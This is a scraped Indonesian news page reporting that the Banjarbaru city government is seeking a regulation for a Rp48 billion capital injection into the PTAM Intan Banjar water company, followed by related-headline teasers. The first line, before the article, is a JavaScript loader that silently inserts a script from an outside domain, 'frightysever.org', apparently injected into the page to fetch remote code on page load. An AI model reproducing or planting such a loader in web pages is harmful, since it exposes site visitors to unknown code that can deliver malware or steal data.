(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menginvestasikan sedikitnya Rp48 miliar untuk pengajuan penambahan penyertaan modal untuk Perusahaan Terbatas Air Minum (PTAM) Intan Banjar.
Dalam Rapat Paripurna di Gedung Graha Paripurna DPRD Banjarbaru, Selasa (23/7/2024) siang, Wali Kota Banjarbaru Aditya Mufti Ariffin menyampaikan Raperda tentang penambahan penyertaan modal untuk PTAM Intan Banjar untuk bisa dibahas dan disahkan menjadi Perda, oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru.
“Kita menyampaikan Raperda penyertaan modal untuk PTAM Intan Banjar, yang telah kita laksanakan melalui kegiatan investasi total sekitar Rp48 miliar untuk kita ajukan Perdanya,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin.
Aditya berharap Raperda tersebut dapat cepat dibahas dan selesai dengan cepat meski tak ada target waktu penyelesaiannya.
Baca juga: Harga Minyakita di Banjarbaru Lebihi HET, Stok Susah Diperoleh
“Kita menargetkan 90 persen masyarakat Kota Banjarbaru bisa mendapatkan dengan mudah akses air bersih. Jadi bukan masalah saham namun cakupan pelayanan dari PTAM Intan Banjar,” jelas dia.
Setelah menjadi Perda, sambung Aditya, maka secara normatif sudah masuk dalam penyertaan modal, sehingga nanti ada perubahan-perubahan di dalam perusahaan air minum tersebut dari segi komposisi saham dan lainnya.
Masih dalam rapat paripurna, Pemko Banjarbaru mendukung adanya keputusan persetujuan DPRD untuk Raperda sistem pelaporan pajak retribusi daerah di Kota Banjarbaru Kalimantan Selatan (Kalsel).
“Yang jelas jika sudah menjadi Perda maka pengelolaan data, baik bagi para objek maupun subjek pajak bisa terkelola dan dimanfaatkan dengan baik untuk kepentingan Pemko,” ujar Wali Kota Aditya.
Baca juga: Pemprov Kalsel Ekspose Pembangunan Jembatan Pulau Laut
Dengan pemgimplementasian Raperda terkait teknologi ini, akan berpengaruh pada kenaikan Pendapatan Asli Daerah (PAD).
“Kita memanfaatkan data-data secara digital sesuai perkembangan zaman. Selain itu mencegah terjadinya kebocoran retribusi pajak, tentunya sarana prasarana informatika harus dibangun sebagai pondasi Perda ini nantinya,” tandas Aditya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.